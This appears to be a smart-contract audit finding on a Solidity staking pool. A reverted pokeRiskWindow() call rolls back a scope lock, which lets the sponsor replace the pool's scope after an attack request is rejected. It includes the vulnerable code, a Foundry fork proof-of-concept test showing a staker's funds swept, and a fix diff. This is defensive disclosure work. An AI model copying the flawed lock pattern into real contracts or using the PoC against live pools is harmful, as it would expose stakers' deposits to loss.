FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: medium

Reverted `pokeRiskWindow()` during `ATTACK_REQUESTED` lets the sponsor replace pool scope after rejection

Author Revealed upon completion

Description

ConfidencePool normally locks its pool-local scope on the first interaction that observes the BattleChain registry outside the pre-attack staging states NOT_DEPLOYED and NEW_DEPLOYMENT. After this lock, the sponsor should no longer be able to replace the scope that existing stakers used when deciding to deposit.

ATTACK_REQUESTED is outside NOT_DEPLOYED / NEW_DEPLOYMENT, and successful pool interactions in that state persist scopeLocked. However, the permissionless pokeRiskWindow() path reverts in ATTACK_REQUESTED after _observePoolState() sets scopeLocked = true, because ATTACK_REQUESTED does not set riskWindowStart or riskWindowEnd. The revert rolls back the scope lock. When the upstream attack request is later rejected back to NOT_DEPLOYED, the sponsor can replace the pool scope even though the agreement already left pre-attack staging once.

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
// ATTACK_REQUESTED reaches this revert because it is neither active-risk nor terminal.
// The revert rolls back the scopeLocked write made inside _observePoolState().
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
// After the upstream registry is rejected back to NOT_DEPLOYED, scopeLocked is still false,
// so the sponsor can replace the scope for already-committed stake.
@> if (scopeLocked) revert ScopePostLockImmutable();
@> _replaceScope(accounts);
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
// ATTACK_REQUESTED enters this branch, but pokeRiskWindow later reverts and rolls it back.
@> if (
@> !scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
@> && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
@> ) {
@> scopeLocked = true;
@> emit ScopeLocked(block.timestamp);
@> }
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}

Risk

Likelihood:

  • This occurs during an ATTACK_REQUESTED phase where a caller uses the permissionless pokeRiskWindow() observation path instead of a successful stake, withdrawal, bonus contribution, or moderator action.

  • This occurs after the upstream registry rejects the attack request back to NOT_DEPLOYED, because setPoolScope() then observes a staging state and leaves the rolled-back scopeLocked value as false.

Impact:

  • Existing stakers remain committed to a pool whose scope can be replaced after the agreement already left pre-attack staging, breaking the documented pool-local scope commitment.

  • The PoC shows Alice's 100 * 1e18 stake swept to recoveryAddress after the sponsor replaces the scope, the registry later reaches UNDER_ATTACK / CORRUPTED, and the moderator flags bad-faith CORRUPTED.

Proof of Concept

Fork PoC file:

The fork PoC deploys the pool system locally into a pinned BattleChain testnet fork and uses the live testnet SafeHarborRegistry, demo agreement, agreement owner, and in-scope account at block 16000. It mocks registry lifecycle reads at the live AttackRegistry address to avoid live state mutation. The pinned demo agreement has only one live in-scope account, so the replacement account's isContractInScope() response is mocked only for the replacement-scope branch.

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-path test/fork/ConfidencePoolPokeScopeLock.fork.t.sol -vvv

Result:

[PASS] testForkPoC_CONTROL_successfulStakeDuringAttackRequestedPersistsScopeLock()
[PASS] testForkPoC_pokeDuringAttackRequestedDoesNotPersistScopeLock()
2 tests passed; 0 failed; 0 skipped

Fork PoC code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
/// @notice Fork PoC for the ATTACK_REQUESTED scope-lock rollback against the live BattleChain
/// testnet registry + demo agreement shape. Deploys the pool system locally into a pinned fork.
/// Lifecycle states are mocked at the live AttackRegistry address to avoid mutating live chain
/// state. The demo agreement has one live in-scope account at the pinned block, so the replacement
/// account's `isContractInScope` response is mocked only for the replacement-scope call.
contract ConfidencePoolPokeScopeLockForkPoCTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
address internal constant REPLACEMENT_SCOPE_ACCOUNT = address(0xBEEF);
uint256 internal constant PIN_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal dave = makeAddr("dave");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory) {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.skip(true);
return;
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
_mockAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, accounts)
);
}
function testForkPoC_pokeDuringAttackRequestedDoesNotPersistScopeLock() external {
_stake(alice, 100 * ONE);
assertTrue(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "initial scope active");
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement not in pool scope");
assertFalse(pool.scopeLocked(), "scope starts unlocked");
_mockAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.prank(dave);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "reverted poke rolled back scope lock");
_mockAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
_mockReplacementScopeAccountInAgreement();
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
vm.prank(DEMO_AGREEMENT_OWNER);
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "original committed scope removed");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope installed");
assertEq(pool.eligibleStake(alice), 100 * ONE, "staker remains committed");
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "replacement scope eventually locks");
assertGt(pool.riskWindowStart(), 0, "risk window starts");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, 100 * ONE, "changed-scope corruption sweeps stake");
assertEq(stakeToken.balanceOf(alice), 0, "alice loses principal");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained");
}
function testForkPoC_CONTROL_successfulStakeDuringAttackRequestedPersistsScopeLock() external {
_mockAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
_stake(alice, 100 * ONE);
assertTrue(pool.scopeLocked(), "successful gated interaction locks scope");
_mockAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
_mockReplacementScopeAccountInAgreement();
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
vm.prank(DEMO_AGREEMENT_OWNER);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacementScope);
assertTrue(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "original scope preserved");
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope rejected");
}
function _stake(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _mockAgreementState(IAttackRegistry.ContractState state) internal {
vm.clearMockedCalls();
vm.mockCall(
ATTACK_REGISTRY,
abi.encodeCall(IAttackRegistry.getAgreementState, (DEMO_AGREEMENT)),
abi.encode(state)
);
}
function _mockReplacementScopeAccountInAgreement() internal {
vm.mockCall(
DEMO_AGREEMENT,
abi.encodeCall(IAgreement.isContractInScope, (REPLACEMENT_SCOPE_ACCOUNT)),
abi.encode(true)
);
}
}

Recommended Mitigation

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
- _observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ bool wasScopeLocked = scopeLocked;
+ _observePoolState();
+ if (riskWindowStart == 0 && riskWindowEnd == 0 && scopeLocked == wasScopeLocked) {
+ revert RiskWindowNotReached();
+ }
}

This preserves the existing RiskWindowNotReached behavior when no relevant state was sealed, while allowing an ATTACK_REQUESTED observation to persist the scope lock.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!